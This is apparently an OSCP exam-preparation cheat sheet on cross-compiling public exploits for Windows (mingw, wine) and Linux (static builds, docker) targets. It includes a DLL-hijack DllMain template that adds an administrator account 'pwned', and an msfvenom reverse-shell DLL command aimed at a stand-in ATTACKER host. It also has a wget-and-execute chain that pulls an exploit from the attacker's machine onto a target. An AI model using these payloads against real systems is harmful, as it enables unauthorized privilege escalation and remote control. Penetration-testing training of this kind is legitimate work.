Cross-Compiling for OSCP

When the target can not compile, when you need to test on Kali first, when GLIBC bites you. Both Windows (mingw + wine) and Linux (docker + static) live here.

1. WHEN to use this file

SituationSection
Public exploit is .c, target is Windows, need EXE§3
Public exploit is .c, target is Linux, no gcc on target§5
Compiled binary works on Kali but fails on target§6 + §7
GLIBC_X.YZ not found on target§5 (matching container)
Want to fire a remote exploit from Kali instead of uploading§6 (wine)

2. Setup (one-time, on Kali)

# Windows cross-compile
sudo apt install mingw-w64

# Run Windows binaries on Kali
sudo dpkg --add-architecture i386 && sudo apt update
sudo apt install wine wine32 wine64

# Linux precompile in matching distro
sudo apt install docker.io && sudo systemctl start docker

Two mingw compilers — architecture must match the target:

CompilerOutput
i686-w64-mingw32-gcc32-bit Windows PE
x86_64-w64-mingw32-gcc64-bit Windows PE (default modern)

file evil.exe confirms — PE32 = 32-bit, PE32+ = 64-bit. Mismatch = silent fail.


3. Windows EXE from C source

# Basic
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

# Network exploit (winsock)
i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32

# Static — no DLL deps on target
x86_64-w64-mingw32-gcc -static -o exploit.exe exploit.c -lws2_32

Linker error rule: undefined reference to _imp__<symbol> → google the symbol → add the matching -l flag.

Missing symbolAdd flagLibrary
WSAStartup, socket, connect, send-lws2_32winsock
InternetOpen, HttpSend-lwininetHTTP
RegOpenKey, OpenSCManager-ladvapi32registry / services

4. Windows DLL for hijacking

Same compiler, --shared, .dll extension. Filename must exactly match the DLL the target app loads.

x86_64-w64-mingw32-gcc evil.cpp --shared -o TextShaping.dll

DllMain template — payload runs on DLL_PROCESS_ATTACH:

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            int i;
            i = system("net user pwned Password123! /add");
            i = system("net localgroup administrators pwned /add");
            break;
        case DLL_THREAD_ATTACH:  break;
        case DLL_THREAD_DETACH:  break;
        case DLL_PROCESS_DETACH: break;
    }
    return TRUE;
}

Faster path with msfvenom (when you just need a reverse shell):

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=443 -f dll -o evil.dll
  1. icacls "C:\App" confirms (M) or (F) for your user
  2. Identify the target DLL by name (procmon on a local copy, or known CVE)
  3. Drop your DLL with the exact target filename in the writable dir
  4. Wait for the privileged user to launch the app — DLL loads with their privileges

5. Linux ELF — target has no gcc

The real issue is rarely “no gcc” — it is glibc mismatch. Compile on Kali (modern glibc) → binary fails on old target with GLIBC_2.34 not found.

gcc -static -o exploit exploit.c
file exploit         # should say "statically linked"

Static binaries do not depend on target glibc. Bigger file, runs anywhere with matching arch.

Does not work when: the exploit relies on dynamic loader behavior (PwnKit specifically will not compile static), or uses dlopen/dlsym.

Strategy B — Docker container matching the target distro

# Identify target first
cat /etc/os-release           # on target

# On Kali — spin up matching container
mkdir ~/xc && cd ~/xc
# put exploit.c in this dir

docker run -it --rm -v $(pwd):/work ubuntu:20.04 bash
# inside container:
apt update && apt install -y gcc make
cd /work && gcc -o exploit exploit.c
exit

# Back on Kali:
file exploit          # confirm: ELF 64-bit, x86_64
python3 -m http.server 8000

# On target:
wget http://KALI_IP:8000/exploit && chmod +x exploit && ./exploit
Target saysContainer
Ubuntu 16.04 / 18.04 / 20.04ubuntu:16.04 / :18.04 / :20.04
Debian 9 / 10 / 11debian:9 / :10 / :11
CentOS 7centos:7
RHEL/CentOS 8rockylinux:8
Alpinealpine:3.X

6. Test before transfer

Architecture check — always do this

file evil.exe     # PE32 or PE32+ — must match target arch
file exploit      # ELF 32-bit or 64-bit — must match target arch

Wine — smoke-test Windows binaries on Kali

wine evil.exe                 # smoke test
sudo wine exploit.exe         # if raw socket privileges needed

Two real uses:

  1. Smoke-test — if it crashes under wine, it is broken. Do not waste a target reset on a transfer that will not work.
  2. Run remote-network exploits FROM Kali — many compiled exploits open a socket and shoot at a target IP. No need to upload to Windows.

Wine works for: network exploits, simple utilities, BoF stubs, basic system() calls. Wine does NOT work for: SeImpersonate Potato attacks, anything needing real Windows services / .NET / WMI / SCM, GUI apps. For those, transfer to a real target.


7. Troubleshooting

SymptomLikely causeFix
undefined reference to _imp__WSAStartupMissing winsock linkAdd -lws2_32
Exploit runs on Kali (wine) but not on targetTarget missing runtime DLLRebuild with -static
GLIBC_2.XX not found on targetglibc mismatchBuild in matching docker container, OR -static
DLL transferred but app ignores itArchitecture or filename mismatchfile evil.dll to confirm arch; check exact target DLL name
App crashes instead of loading DLLDllMain malformedConfirm return TRUE; at end
Service will not restart for hijack to fireCannot sc stop/sc startshutdown /r /t 0 if you have SeShutdownPrivilege; otherwise wait for auto-restart or scheduled trigger
wine: cannot find L"..."32-bit deps missingsudo apt install wine32
Compiled but binary is 0 bytes / corruptCompiler failed silentlyRe-run with -v to see errors